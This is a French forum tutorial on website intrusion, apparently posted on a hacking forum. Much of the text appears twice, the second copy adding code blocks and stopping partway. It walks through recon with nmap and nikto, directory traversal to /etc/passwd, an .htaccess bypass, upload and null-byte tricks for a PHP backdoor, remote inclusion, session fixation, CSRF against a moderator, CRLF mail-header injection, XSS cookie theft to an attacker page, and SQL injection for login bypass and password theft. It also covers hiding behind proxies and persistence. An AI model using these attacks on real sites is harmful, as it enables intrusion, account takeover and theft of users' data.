Bonjour à tous.
Note: ce tutoriel pratique est directement un complément du très bon tutoriel posté par ptinaze (situé ici : http://hackademics.fr/showthread.php...es-failles-web...) ; j'y ai inclus moins de théorie et plus de pratique.
Aujourd'hui, je vais expliquer le déroulement d'une website intrusion ou intrusion dans un site web, de la phase d'audit jusqu'à la phase du maintient d'ouverture.
Ce tuto essayera d'aborder tous les aspects de l'intrusion, et donc tous les test et recherches à effectuer. Je m'efforcerai d'être le plus clair possible avec des exemples, mais peut être, pour certains, une révision du fonctionnement de PHP et des requêtes SQL sera nécessaire.
Ce tutoriel est mené sous le système d'exploitation Linux - qui pour moi est le plus simple pour le hacking en général (telnet, nmap, dsniff... préinstallés). Sachez cependant que ces outils peuvent également être activés ou installés sous Windows.
------------------------------------------------------------------------
Prologue.
L'intrusion dans un système informatique sans en posséder les droits initiaux est un délit puni par la loi.
Le but de ce tutoriel n'est pas d'apprendre à détruire un site mais à mettre en évidence ses failles afin d'en avertir le webmaster ou tout simplement d'en comprendre l'exploitation pour mieux s'en protéger.
L'intrusion est quelque chose qui se prépare consciencieusement ; n'espérez pas arriver sur un site et claquer des doigts pour récupérer le passwd file. Le processus se déroule en trois étapes distinctes qu'il faudra impérativement respecter afin de mener à bien l'intrusion.
Premièrement, la phase d'audit ou recherche d'informations. Ensuite vient la phase d'exploit ou d'intrusion effective. Et pour finir, la phase de maintient du contrôle d'accès ou granted root rights (GRR). Vous l'aurez donc compris, la clé est de ne pas se précipiter.
I) Audit
La phase d'audit ou recherche d'informations, est la phase la plus importante de l'intrusion. Pourquoi ? Parce que les informations collectées sont primordiales pour le choix de la technique d'intrusion et son efficacité.
Dans le cas de ce tutoriel, nous connaissons le site à infiltrer: www.site.com .
Cependant, si vous n'avez pas de cible prédéfinie, utilisez les différents dorks de recherche afin de localiser un site qui vous plaira.
Notre cible est donc www.site.com.
Les premières informations à récolter concernent le serveur qui héberge le site: logiciel, version, services.
Pour cela, nous ouvrons notre terminal (ou console cmd) et l'on va utiliser le protocole Telnet sur le port 80 (HTTP) afin de récupérer l'entête HTTP d'une des pages du site grâce à une requête HEAD.
Nous tapons donc la commande suivante:
> telnet www.site.com 80
Si la connexion est établie, voici ce qui est affiché:
Maintenant que nous sommes connectés, nous envoyons une requête HEAD avec la commande suivante (appuyez deux fois sur entrée):
> HEAD / HTTP/1.0
Si le serveur à bien reçu la requête il nous retourne:
Nous savons donc que le serveur tourne sous Apache/2.0.59, OpenSSL/0.9.8e et PHP/5.2.1.
Nous savons aussi qu'il utilise l'ISO-8859-1, ce qui nous sera utile si nous devons utiliser des techniques d'encodage.
Maintenant que nous avons ces informations, nous pouvons commencer à chercher les différentes failles de sécurité connues pour ces versions et les noter pour plus tard.
Ensuite nous devons connaître les ports ouverts sur le serveur. Des ports ouverts indiquent que des données transitent par ces ports, des données de confiance, c'est pourquoi le serveur maintient certains ports ouverts, afin de faciliter les échanges. Pour s'en assurer, nous allons scanner les ports du serveur avec un scanner de ports, ici j'utiliserai Nmap.
Ouvrez votre console et tapez la commande suivante:
> nmap -T5 -sV -0 www.site.com
Le scan va alors se lancer et si tout se passe bien, nous obtenons les informations suivantes après le scanning:
Nous savons donc que les ports 21 (ftp), 22 (ssh), 80 (http), 443 (ssl), 10000 (http) sont ouverts, et nous connaissons également la version des protocoles. On connait de plus la version de Linux qui tourne sur le serveur.
Si jamais nous devons utiliser ces ports pour nos exploits, nous savons qu'ils sont ouverts.
Maintenant que nous avons ces informations, nous pouvons commencer à chercher les failles visibles. Pour cela, nous allons nous aider d'un scanner de vulnérabilités qui se base sur des algorithmes de comparaison actifs et rétro-actifs (test et rétrotest) afin d'avoir un premier aperçut des failles exploitables. Pour cela, j'utilise Nikto qui remplit parfaitement cet office.
Ouvrons notre console et tapons la commande suivante:
> nikto -h www.site.com
Je ne mets pas d'image ici, puisque les informations affichées dépendent totalement du site scanné. Cependant, certaines informations reviennent souvent:
- Allowed HTTP method: GET, HEAD, POST, OPTIONS, TRACE
- The server allow HTTP method TRACE, possibly vulnerability to XSS/XST
Ici, on voit que le serveur accepte la requête TRACE, ce qui est très dangereux pour lui car nous pouvons nous en servir pour récupérer des clés d'identification ou des cookies par pishing sans utiliser l'instruction document.cookie . Notez bien toutes les failles trouvées pour les exploiter ensuite.
Pour finir la phase d'audit, nous pouvons utiliser nslookup afin de lister les secteurs DNS et nous regardons le code source de www.site.com afin de récupérer certaines informations utiles: versions de templates, scripts .js, email du webmaster (META "author")...
Voilà, notre phase d'audit est terminée ; passons à la phase d'exploit.
II) Exploitation
La phase d'exploitation est la phase d'intrusion effective dans le site ciblé. C'est durant cette phase que nous allons essayer différentes techniques d'exploitation de failles afin d'arriver à nos fins.
A ce stade, il est impératif que nous utilisions un proxy, et même au stade de l'audit, afin que le serveur ne puisse pas loguer notre IP. Certains serveurs possèdent des spiders (agents de contrôle) qui log les IP quand certaines intrusions sont détectées. Ces IP sont enregistrées dans un fichier log.txt (le plus souvent), sous cette forme:
Il est donc nécessaire de falsifier notre adresse IP afin de ne pas nous compromettre auprès du serveur.
La phase d'intrusion n'est qu'une suite de tests visant à déclencher des résultats en exploitant les failles potentielles du site.
A) Folder Ascending
La faille folder ascending, littéralement le fait de remonter les dossiers, est une faille qui apparait quand l'url rewriting n'est pas activée ou quand l'administrateur n'a pas placé de fichier .htaccess dans ses dossiers à protéger.
Nous repérons l'url suivante:
On remarque la présence d'un dossier "admin". Essayons d'exploiter une potentielle faille en réécrivant l'url comme ceci:
Si nous tombons sur une liste de fichiers en tout genre, bingo ! On a gagné le gros lot. Cependant, ce genre de faille est très rare.
Le plus souvent, vous tomberez sur une interdiction ou sur admin.php .
B ) Directory Transversal
Cette faille permet à l'utilisateur de construire un chemin vers des fichiers cachés en modifiant l'arborescence d'affichage. Cette faille fait suite à un problème de sécurité (absence de whiteliste, double point deleter...) de gestion de l'arborescence.
Dans les différentes partie du site, nous voyons que les pages sont incluses par la méthode GET:
Testons donc le directory transversal en modifiant l'arborescence de l'url:
Si le fichier passwd est affiché, c'est gagné, nous pouvons en récupérer le contenu. Si rien ne s'affiche ou si il y a une erreur 404, passons notre chemin, le serveur est protégé contre le DT.
C) Bypass .htaccess (ne concerne qu'Apache)
Une manière d'interdire l'accès à certaines parties d'un site est d'utiliser un .htaccess. Ce fichier réglemente l'accès en demandant le plus souvent un login et un mot de passe. A première vue, sans connaitre les identifiants, il est difficile de passer cette protection. Cependant, beaucoup d'administrateur copient/collent des .htaccess trouvés sur Internet et oublient de les vérifier, ainsi ils laissent très souvent la ligne suivante dedans:
Cette ligne signifie que sur la partie protégée par le fichier, les requêtes GET et POST ne sont pas autorisées.
Ainsi, si avec telnet nous lançons la commande suivante:
> GET www.site.com/admin/admin.php HTTP/1.0
Le serveur nous retournera la réponse suivante:
On voit bien ici que l'accès nous est refusé.
Toutefois, la restriction ne s'applique qu'aux requêtes GET et POST. Essayons avec une requête différente toujours sur telnet:
> telnet www.site.com 80
> OPTIONS www.site.com/admin/admin.php HTTP/1.0
Si nous obtenons la réponse suivante:
...contenu de la page...[/code]
Nous avons réussi ! Le contenu de la page protégée est listé. Pourquoi ? Parce que la requête OPTIONS n'est pas concerné par la restriction de requête et donc Apache l'interprète comme une requête valide.
Si toutefois l'erreur 401 persiste ; inutile de continuer.
D) Faille Upload
Certains scripts d'upload en php ne vérifient pas les extensions des fichiers uploadés ; ainsi il sera facile d'uploader une backdoor en PHP alors que le script attend une image par exemple. Cependant il devient très rare de trouver cette faille.
Nous nous rendons sur la partie upload du site:
www.site.com/upload.php
On remarque l'information "seules les fichiers png, gif et jpeg autorisés".
Nous essayons d'uploader notre fichier backdoor.php mais nous recevons un message d'erreur. Le script vérifie donc bien les extensions soumises et est du style:
Cependant, il ne vérifie pas le type MIME. Ce dernier renseigne le type et l'extension. Pour le fichier "photo1.gif" le MIME sera image/gif . On voit alors que l'on peut modifier ce type MIME afin de faire passer notre backdoor.php pour une image et tromper le script. Pour se faire, on utilise le plugin de Mozilla : Tamper Data.
Si le fichier est uploadé, c'est gagné. Sinon c'est que le script est de la forme suivante:
... et donc qu'il vérifie le type MIME. Qu'à cela ne tienne, essayons avec la technique suivante.
E) Faille NullByte
Le nullbyte est la séquence de fin d'une string. En PHP, cette instruction s'écrit %00 et indique la fin de la string, tout ce qu'il y a après ne sera pas pris en compte. On comprend donc vite que l'on peut s'en servir dans la faille upload ; toujours en utilisant TamperData. Il suffit de rajouter %00 à la fin du nom de notre fichier.
On revient donc sur la page d'upload et nous essayons cette faille:
Si le fichier est uploadé, c'est gagné. On peut aussi se servir de cette technique pour toute inclusion de fichier avec extension imposée. Le rajout de l'extension automatique sera échappé par le %00.
F) La faille include()
Cette faille tient du fait que sur certains sites, les pages incluses par GET ne sont pas vérifiées, et que l'on peut donc inclure n'importe quelle page ou script à distance. Le code d'inclusion est le suivant:
On voit bien que la page incluse est la variable contenue dans le GET. Si la page en argument n'est pas vérifiée, on va essayer d'inclure autre chose.
Retournons sur notre site:
www.site.com/index.php?p=forum.php
On suspecte alors une faille include(). Essayons de modifier l'url de la page:
Si la page Google est incluse, bingo nous avons une faille include() ! Inclure Google n'est pas très intéressant ; nous allons inclure une page à nous bien entendu. Au préalable, nous avons uploadé notre script PHP (cookie hijacking, session hijacking, datas hijacking, autre...) sur notre serveur et nous modifions l'url de manière à l'inclure:
Il ne reste plus qu'à donner le lien à quelqu'un d'autre et de laisser le méfait s'accomplir... Mais restons malins, au lieu de donner une url aussi flagrante que celle-ci, créons une image qui pointe vers cette url (image de signature par exemple) et demandons à quelqu'un de cliquer dessus : l'admin peut être ?
Et si le serveur échappe les "http://" pour sécurité, on utilisera les relatives url qui permettent de contourner ce problème.
Par contre, si un message d'erreur du type "page non reconnue" s'affiche quand nous exploitons cette faille, c'est que le site est sécurisé avec un script qui contient un array des pages sécurisées, du type:
Si c'est le cas, continuons dans une voie différente.
F) Sessions Hijacking
Pour reconnaitre l'utilisateur courant, un webmaster a deux manières de procéder. La première est d'utiliser les cookies, et la deuxième est d'utiliser les sessions grâce à l'instruction session_start().
Une session est du type: PHPSESSID=e148gtr55894dfkklhop456 et est unique pour chaque utilisateur du site ; cette session est transmise de page en page de manière à pouvoir identifier l'utilisateur partout.
Sur encore pas mal de site, le PHPSESSID est transmis par GET dans l'url, et est donc potentiellement manipulable. Sur notre site victime, nous voyons que c'est le cas:
www.site.com/?PHPSESSID=5587Erftyd12JkiofP
La faille tient du fait que nous pouvons fixer de sessions en les construisant nous même. Le but pour nous ici va être de s'octroyer le PHPSESSID d'un membre ayant plus de droits que nous. Comment ? Tout simplement en fixant son ID de session par une séquence que nous aurons nous même décidé. Construisons l'url piège:
Et nous donnons cette url au membre piégé. Une fois cliqué sur ce lien, son PHPSESSID va être changé en azerty9876543210 ; nous venons de fixer sa session. Il ne nous reste plus qu'à changer notre propre PHPSESSID en azerty9876543210 et voilà, nous avons les mêmes droits que lui !
Cependant, si dans la gestion des session le webmaster à pensé à rajouter cette ligne:
$login = md5($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']);
Ce sera tant pis pour nous car en plus de sa session, l'utilisateur sera reconnu par son adresse IP et son navigateur. Si cela ne marche pas, il faudra que l'on trouve autre chose.
G) Faille CSRF (Cross Site Request Forgery)
Cette faille permet d'exécuter une requête passée en GET par une personne ayant plus de droits que nous sur le site (généralement le modérateur ou l'admin). Nous voyons que sur notre site victime, la suppression d'un membre se fait par GET:
www.site.com/delete.php?membre_id=58
Bien sûr l'admin a sécurisé cette requête en la rendant inactive si l'on ne possède pas les droits adéquats. Alors, pourquoi ne pas lui "demander" à lui de le faire ? Nous visitons le profil de SuperModo2000 (un modo que l'on aimerait bien voir disparaitre) qui a pour url:
Nous savons donc que l'id de SuperModo2000 est 8. Nous construisons donc l'url suivante:
Il ne nous reste plus qu'à créer une image qui pointe vers ce lien et à demander à l'admin de cliquer dessus. L'admin ayant les droits nécessaires pour exécuter la requête va tout bonnement supprimer son modo préféré. Et voilà, le tour est joué. Mais si nous pouvons utiliser la méthode GET, alors pourquoi pas la méthode POST (poster un message, une news...) ? Pour cela, il faudra coder un script utilisant des XHR afin d'autoriser cette méthode; cependant la majorité des sites sont protégés par l'exécution de requêtes Ajax distantes.
H) Faille CRLF (Carriage Return Line Feed)
Cette faille peu connue permet d'insérer un retour à la ligne dans un champ input et nous permet ainsi d'injecter des headers non attendus qui seront pris en compte dans le traitement du formulaire si les données entrées ne sont pas vérifiées. Revenons sur notre site victime et allons dans la partie "mot de passe oublié". Le site nous indique simplement de rentrer notre adresse e-mail afin de recevoir notre mot de passe.
Le code se présente comme ceci et sera envoyé par la fonction mail():
Il serait intéressant que nous recevions nous aussi ce mot de passe. Comment ? En injectant le header "Cc:" (copie conforme) qui permet d'ajouter un deuxième destinataire. Il suffirait juste d'entrer l'e-mail d'un membre quelconque puis de revenir à la ligne et de rajouter Cc: [email protected] pour recevoir une copie du mot de passe qui sera envoyé. Toutefois, il y a un petit soucis... Comment revenir à la ligne dans un champ input ? Tout simplement en utilisant la petite séquence que voici: %0A qui indique un retour à la ligne. Nous n'avons alors plus qu'à entrer dans l'input: [email protected]%[email protected]
Ceci étant, si le script php vérifie les caractères injectés comme le "%", on est mal... Ou pas. Il suffit de transformer l'input en textarea ! Et ceci avec un autre plugin de Mozilla: FireBug. Ce plugin permet de modifier le code source d'une page en directe et d'appliquer ces modifications.
Voici les étapes:
1) On se rend sur la page de récupération du password:
2) On ouvre FireBug:
3) On modifie l'input en textarea:
4) On injecte notre header "Cc":
5) On clique sur envoyer !
Bien sûr nous ne sommes pas limités au header Cc: , ainsi plusieurs autres requêtes peuvent être envoyés de façon altérée.
I) La faille XSS
La fameuse faille XSS. Elle provient du fait que les données manipulables par l'utilisateur ne sont pas vérifiées par l'instruction htmlspecialchars(). Le plus souvent ces données manipulables sont passées en GET afin d'en donner un usage global. Revenons sur notre site victime et cherchons une url potentiellement vulnérable:
www.site.com/galerie.php?i=14
La page affiche l'image correspondant à une id spécifique stockée dans la base de donnée. La valeur est donc transmise par GET. Testons la vulnérabilité de l'url en injectant du JavaScript:
Si une message box s'affiche en affichant "1", c'est gagné, le site est vulnérable aux attaques XSS.
Cependant, afficher une alert() n'est pas intéressant ; essayons plutôt d'inclure un script js distant et de voir s'il fonctionne.
Notre script.js contient l'instruction suivante:
Si une message box s'affiche, alors le site est vulnérable à l'inclusion de remote script (script à distance).
On comprend donc vite que l'on peut rediriger un membre sur une page de notre serveur contenant un script récupérant ses cookies. Afin de rester un minimum discret, on va inclure un script js redirigeant le membre vers notre page cookie.php.
Notre script.js contient:
Notre page cookie.php contient les lignes suivantes:
Puis on construit l'url piégée:
Tout est prêt. Si un membre arrive sur cookie.php, son cookie sera enregistré dans cookies.txt par l'intermédiaire d'un GET. Et si l'on veut camoufler ça, on mettra l'url comme source d'une image, ça affichera une image cassée (sans la lib GD) mais le membre qui clique dessus arrivera bien sur notre page cookie.php .
Il existe d'autres façons de se servir de la faille XSS, notamment en ce qui concerne les input (livre d'or, commentaire, champs d'enregistrement...). Si les caractères injectés ne sont pas formatés, on peut alors inclure du javascript dans le champ d'un livre d'or ; ainsi il sera exécuté chaque fois qu'un membre affichera la page. Ou alors on peut pousser le vice plus loin et inclure du javascript dans notre signature ; quand des visiteurs viendront voir notre profil, le code sera exécuté. Dès lors, on peut inclure une redirection vers une page piégée ou autre. Les possibilités sont sans limites .
J) Injections SQL
Le but de cette technique est d'injecter une requête SQL inattendue par le serveur dans le but de récupérer ou modifier des données sensibles. Encore beaucoup de serveurs ne sécurisent pas ses entrées et permettent les injections SQL. Rendons nous sur la page d'authentification de notre site victime:
www.site.com/login.php
Il y a deux champs: login et mot de passe. Le script PHP de traitement est le suivant (70% des cas):
On voit qu'il n'y a aucune fonction de sécurisation des données entrées par l'utilisateur. Si nous entrons "hacker" en login et "whitehat" en mdp cela donnera la requête suivante:
La première idée qui nous vient est de modifier les données entrées afin d'altérer la requête... En insérant des guillemets par exemple. Nous connaissons déjà le login d'un membre, "Jack58". Il ne nous reste plus qu'à injecter l'instruction suivante dans le champ mot de passe:
La requête deviendra alors:
1=1 (comme a=a, 1<>2, 2<>3...)est toujours vrai, donc cela rempli bien la condition du password. Le "#" indique que tout ce qui vient après est considéré comme un commentaire par la BDD.
Mais ne nous arrêtons pas là. Nous remarquons l'url suivante:
www.site.com/profil.php?membre_id=5
La page affiche le pseudo du membre selon l'id indiquée, le script est donc probablement comme ceci:
$sql = SELECT pseudo FROM membres WHERE membre_id=$_GET['membre_id']
$data= mysql_fetch_array($sql);
echo $data['pseudo'];
Testons la vulnérabilité de l'url en insérant un apostrophe " ' " dans l'url:
Si le SGDB retourne une erreur type WARNING, alors l'url est sûrement vulnérable aux injections. Testons cette possibilité en injectant une requête SQL UNION dans l'url:
La requête suivante s'exécute donc:
Cette requête permet de sélectionner le mot de passe du membre ayant l'id 21 et l'enregistre ensuite dans recup.txt grâce à la fonction INTO OUFILE ; nous n'avons plus qu'à consulter ce fichier pour connaître le pass.
De même, si nous connaissons l'emplacement du config.php (par SE par exemple) nous pouvons en copier le contenu dans un autre fichier grâce à la fonction LOAD FILE. Injectons la requête suivante:
Nous n'avons plus qu'à consulter config.txt et le tour est joué.
On remarque également que dans notre profil, l'on peut également changer notre mot de passe. Pourquoi ne pas essayer de changer le mot de passe d'un autre membre à partir de notre profil ? Rien de plus simple, utilisons la requête UPDATE qui permet de modifier des données dans la BDD. La page contient un input ou l'on doit rentrer notre nouveau pseudo pour écraser l'ancien ; injectons la requête suivante dans l'input:
La requête exécutée sera donc:
Nous venons de changer le mdp de Jack58, et comme nous le connaissons, nous pouvons nous logger à sa place.
Comme vous le voyez, il existe des centaines d'injections SQL, et la requête UNION nous offres un panel d'injections inimaginable , avec de l'imagination on peut tout obtenir.
III) GRR ou maintient du contrôle
Nous avons testé et trouvé des failles sur notre site victime. Mais il ne faut pas s'arrêter là pour autant, l'important est de garder un minimum de contrôle sur le site ; c'est le GRR (granted root rights). Le plus simple pour cela est d'arriver à installer une backdoor sur le serveur afin d'y avoir notre porte dérobée. Deux façons (entre autre) simples pour cela.
La première est de réussir à uploader notre backdoor.php grâce à la faille upload(). L'autre est tout simplement d'écrire un fichier backdoor.php avec INTO OUTFILE comme ceci:
Et voilà, la backdoor est à nous !
Je n'ai pas parlé des techniques de bruteforce ou de l'intrusion FTP qui pour moi ne sont que failles de protocoles ; il existe des centaines de tuto sur le net.
N'oubliez pas que même si certains caractères (<,>,",',=...) sont transformés à des fins de sécurité, il y a toujours moyen de les encoder ou de trouver des séquences (HEX, ASCII) de remplacement adéquates.
Et surtout, il n'y a de limite que celle imposée par votre imagination .
--------------------------------------------------------------
Note: ce tutoriel pratique est directement un complément du très bon tutoriel posté par ptinaze (situé ici : http://hackademics.fr/showthread.php...es-failles-web...) ; j'y ai inclus moins de théorie et plus de pratique.
Aujourd'hui, je vais expliquer le déroulement d'une website intrusion ou intrusion dans un site web, de la phase d'audit jusqu'à la phase du maintient d'ouverture.
Ce tuto essayera d'aborder tous les aspects de l'intrusion, et donc tous les test et recherches à effectuer. Je m'efforcerai d'être le plus clair possible avec des exemples, mais peut être, pour certains, une révision du fonctionnement de PHP et des requêtes SQL sera nécessaire.
Ce tutoriel est mené sous le système d'exploitation Linux - qui pour moi est le plus simple pour le hacking en général (telnet, nmap, dsniff... préinstallés). Sachez cependant que ces outils peuvent également être activés ou installés sous Windows.
------------------------------------------------------------------------
Prologue.
L'intrusion dans un système informatique sans en posséder les droits initiaux est un délit puni par la loi.
Le but de ce tutoriel n'est pas d'apprendre à détruire un site mais à mettre en évidence ses failles afin d'en avertir le webmaster ou tout simplement d'en comprendre l'exploitation pour mieux s'en protéger.
L'intrusion est quelque chose qui se prépare consciencieusement ; n'espérez pas arriver sur un site et claquer des doigts pour récupérer le passwd file. Le processus se déroule en trois étapes distinctes qu'il faudra impérativement respecter afin de mener à bien l'intrusion.
Premièrement, la phase d'audit ou recherche d'informations. Ensuite vient la phase d'exploit ou d'intrusion effective. Et pour finir, la phase de maintient du contrôle d'accès ou granted root rights (GRR). Vous l'aurez donc compris, la clé est de ne pas se précipiter.
I) Audit
La phase d'audit ou recherche d'informations, est la phase la plus importante de l'intrusion. Pourquoi ? Parce que les informations collectées sont primordiales pour le choix de la technique d'intrusion et son efficacité.
Dans le cas de ce tutoriel, nous connaissons le site à infiltrer: www.site.com .
Cependant, si vous n'avez pas de cible prédéfinie, utilisez les différents dorks de recherche afin de localiser un site qui vous plaira.
Notre cible est donc www.site.com.
Les premières informations à récolter concernent le serveur qui héberge le site: logiciel, version, services.
Pour cela, nous ouvrons notre terminal (ou console cmd) et l'on va utiliser le protocole Telnet sur le port 80 (HTTP) afin de récupérer l'entête HTTP d'une des pages du site grâce à une requête HEAD.
Nous tapons donc la commande suivante:
> telnet www.site.com 80
Si la connexion est établie, voici ce qui est affiché:
Maintenant que nous sommes connectés, nous envoyons une requête HEAD avec la commande suivante (appuyez deux fois sur entrée):
> HEAD / HTTP/1.0
Si le serveur à bien reçu la requête il nous retourne:
Nous savons donc que le serveur tourne sous Apache/2.0.59, OpenSSL/0.9.8e et PHP/5.2.1.
Nous savons aussi qu'il utilise l'ISO-8859-1, ce qui nous sera utile si nous devons utiliser des techniques d'encodage.
Maintenant que nous avons ces informations, nous pouvons commencer à chercher les différentes failles de sécurité connues pour ces versions et les noter pour plus tard.
Ensuite nous devons connaître les ports ouverts sur le serveur. Des ports ouverts indiquent que des données transitent par ces ports, des données de confiance, c'est pourquoi le serveur maintient certains ports ouverts, afin de faciliter les échanges. Pour s'en assurer, nous allons scanner les ports du serveur avec un scanner de ports, ici j'utiliserai Nmap.
Ouvrez votre console et tapez la commande suivante:
> nmap -T5 -sV -0 www.site.com
Le scan va alors se lancer et si tout se passe bien, nous obtenons les informations suivantes après le scanning:
Nous savons donc que les ports 21 (ftp), 22 (ssh), 80 (http), 443 (ssl), 10000 (http) sont ouverts, et nous connaissons également la version des protocoles. On connait de plus la version de Linux qui tourne sur le serveur.
Si jamais nous devons utiliser ces ports pour nos exploits, nous savons qu'ils sont ouverts.
Maintenant que nous avons ces informations, nous pouvons commencer à chercher les failles visibles. Pour cela, nous allons nous aider d'un scanner de vulnérabilités qui se base sur des algorithmes de comparaison actifs et rétro-actifs (test et rétrotest) afin d'avoir un premier aperçut des failles exploitables. Pour cela, j'utilise Nikto qui remplit parfaitement cet office.
Ouvrons notre console et tapons la commande suivante:
> nikto -h www.site.com
Je ne mets pas d'image ici, puisque les informations affichées dépendent totalement du site scanné. Cependant, certaines informations reviennent souvent:
- Allowed HTTP method: GET, HEAD, POST, OPTIONS, TRACE
- The server allow HTTP method TRACE, possibly vulnerability to XSS/XST
Ici, on voit que le serveur accepte la requête TRACE, ce qui est très dangereux pour lui car nous pouvons nous en servir pour récupérer des clés d'identification ou des cookies par pishing sans utiliser l'instruction document.cookie . Notez bien toutes les failles trouvées pour les exploiter ensuite.
Pour finir la phase d'audit, nous pouvons utiliser nslookup afin de lister les secteurs DNS et nous regardons le code source de www.site.com afin de récupérer certaines informations utiles: versions de templates, scripts .js, email du webmaster (META "author")...
Voilà, notre phase d'audit est terminée ; passons à la phase d'exploit.
II) Exploitation
La phase d'exploitation est la phase d'intrusion effective dans le site ciblé. C'est durant cette phase que nous allons essayer différentes techniques d'exploitation de failles afin d'arriver à nos fins.
A ce stade, il est impératif que nous utilisions un proxy, et même au stade de l'audit, afin que le serveur ne puisse pas loguer notre IP. Certains serveurs possèdent des spiders (agents de contrôle) qui log les IP quand certaines intrusions sont détectées. Ces IP sont enregistrées dans un fichier log.txt (le plus souvent), sous cette forme:
Code:
Tentative d'attaque XSS dans le champ de recherche. IP : xxx.xxx.xx.xxx User-agent : Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1
La phase d'intrusion n'est qu'une suite de tests visant à déclencher des résultats en exploitant les failles potentielles du site.
A) Folder Ascending
La faille folder ascending, littéralement le fait de remonter les dossiers, est une faille qui apparait quand l'url rewriting n'est pas activée ou quand l'administrateur n'a pas placé de fichier .htaccess dans ses dossiers à protéger.
Nous repérons l'url suivante:
Code:
www.site.com/admin/admin.php
Code:
www.site.com/admin/
Le plus souvent, vous tomberez sur une interdiction ou sur admin.php .
B ) Directory Transversal
Cette faille permet à l'utilisateur de construire un chemin vers des fichiers cachés en modifiant l'arborescence d'affichage. Cette faille fait suite à un problème de sécurité (absence de whiteliste, double point deleter...) de gestion de l'arborescence.
Dans les différentes partie du site, nous voyons que les pages sont incluses par la méthode GET:
Code:
www.site.com/index.php?p=membre.php
Code:
www.site.com/index.php?p=/../../../../etc/passwd
C) Bypass .htaccess (ne concerne qu'Apache)
Une manière d'interdire l'accès à certaines parties d'un site est d'utiliser un .htaccess. Ce fichier réglemente l'accès en demandant le plus souvent un login et un mot de passe. A première vue, sans connaitre les identifiants, il est difficile de passer cette protection. Cependant, beaucoup d'administrateur copient/collent des .htaccess trouvés sur Internet et oublient de les vérifier, ainsi ils laissent très souvent la ligne suivante dedans:
Code:
<LIMIT GET POST> Require valid-user </LIMIT>
Ainsi, si avec telnet nous lançons la commande suivante:
> GET www.site.com/admin/admin.php HTTP/1.0
Le serveur nous retournera la réponse suivante:
Code:
HTTP/1.1 401 Authorization Required Date: Fri, 24 Jun 2011 18:33:29 GMT Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e- auth_passthrough/2.1 WWW-Authenticate: Basic realm="Veuillez vous identifier" Content-Length: 711 Connection: close Content-Type: text/html; charset=iso-8859-1
Toutefois, la restriction ne s'applique qu'aux requêtes GET et POST. Essayons avec une requête différente toujours sur telnet:
> telnet www.site.com 80
> OPTIONS www.site.com/admin/admin.php HTTP/1.0
Si nous obtenons la réponse suivante:
Code:
HTTP/1.1 202 OK Date: Fri, 24 Jun 2011 18:33:29 GMT Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e Content-Length: 711 Connection: close Content-Type: text/html; charset=iso-8859-1
Nous avons réussi ! Le contenu de la page protégée est listé. Pourquoi ? Parce que la requête OPTIONS n'est pas concerné par la restriction de requête et donc Apache l'interprète comme une requête valide.
Si toutefois l'erreur 401 persiste ; inutile de continuer.
D) Faille Upload
Certains scripts d'upload en php ne vérifient pas les extensions des fichiers uploadés ; ainsi il sera facile d'uploader une backdoor en PHP alors que le script attend une image par exemple. Cependant il devient très rare de trouver cette faille.
Nous nous rendons sur la partie upload du site:
www.site.com/upload.php
On remarque l'information "seules les fichiers png, gif et jpeg autorisés".
Nous essayons d'uploader notre fichier backdoor.php mais nous recevons un message d'erreur. Le script vérifie donc bien les extensions soumises et est du style:
Code:
$extensionsAutorisees = array('png', 'gif', 'jpg') $extension = strtolower(substr(strrchr($_FILES['monFichier']['name'], '.'), 1)); if(! in_array($extension, $extensionsAutorisees)) die('Extension incorrecte !');
Si le fichier est uploadé, c'est gagné. Sinon c'est que le script est de la forme suivante:
Code:
$type_file = $_FILES['fichier']['type']; if( !strstr($type_file, 'jpg') && !strstr($type_file, 'bmp') && !strstr($type_file, 'gif') ) { exit("Le fichier n'est pas une image"); }
E) Faille NullByte
Le nullbyte est la séquence de fin d'une string. En PHP, cette instruction s'écrit %00 et indique la fin de la string, tout ce qu'il y a après ne sera pas pris en compte. On comprend donc vite que l'on peut s'en servir dans la faille upload ; toujours en utilisant TamperData. Il suffit de rajouter %00 à la fin du nom de notre fichier.
On revient donc sur la page d'upload et nous essayons cette faille:
Si le fichier est uploadé, c'est gagné. On peut aussi se servir de cette technique pour toute inclusion de fichier avec extension imposée. Le rajout de l'extension automatique sera échappé par le %00.
F) La faille include()
Cette faille tient du fait que sur certains sites, les pages incluses par GET ne sont pas vérifiées, et que l'on peut donc inclure n'importe quelle page ou script à distance. Le code d'inclusion est le suivant:
Code:
include($_GET['page']);
Retournons sur notre site:
www.site.com/index.php?p=forum.php
On suspecte alors une faille include(). Essayons de modifier l'url de la page:
Code:
www.site.com/index.php?p=http://www.google.fr
Code:
www.site.com/index.php?p=http://www.notre-site.com/script.php
Et si le serveur échappe les "http://" pour sécurité, on utilisera les relatives url qui permettent de contourner ce problème.
Par contre, si un message d'erreur du type "page non reconnue" s'affiche quand nous exploitons cette faille, c'est que le site est sécurisé avec un script qui contient un array des pages sécurisées, du type:
Code:
$pages_reconnuee = array('index','membre','article','musique','forums','livredor'); if(isset($_GET['page']) && in_array($_GET['page'],$pages_reconnues)) include($_GET['page'] . '.php'); else include('accueil.php');
F) Sessions Hijacking
Pour reconnaitre l'utilisateur courant, un webmaster a deux manières de procéder. La première est d'utiliser les cookies, et la deuxième est d'utiliser les sessions grâce à l'instruction session_start().
Une session est du type: PHPSESSID=e148gtr55894dfkklhop456 et est unique pour chaque utilisateur du site ; cette session est transmise de page en page de manière à pouvoir identifier l'utilisateur partout.
Sur encore pas mal de site, le PHPSESSID est transmis par GET dans l'url, et est donc potentiellement manipulable. Sur notre site victime, nous voyons que c'est le cas:
www.site.com/?PHPSESSID=5587Erftyd12JkiofP
La faille tient du fait que nous pouvons fixer de sessions en les construisant nous même. Le but pour nous ici va être de s'octroyer le PHPSESSID d'un membre ayant plus de droits que nous. Comment ? Tout simplement en fixant son ID de session par une séquence que nous aurons nous même décidé. Construisons l'url piège:
Code:
www.site.com/?PHPSESSID=azerty9876543210
Cependant, si dans la gestion des session le webmaster à pensé à rajouter cette ligne:
$login = md5($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']);
Ce sera tant pis pour nous car en plus de sa session, l'utilisateur sera reconnu par son adresse IP et son navigateur. Si cela ne marche pas, il faudra que l'on trouve autre chose.
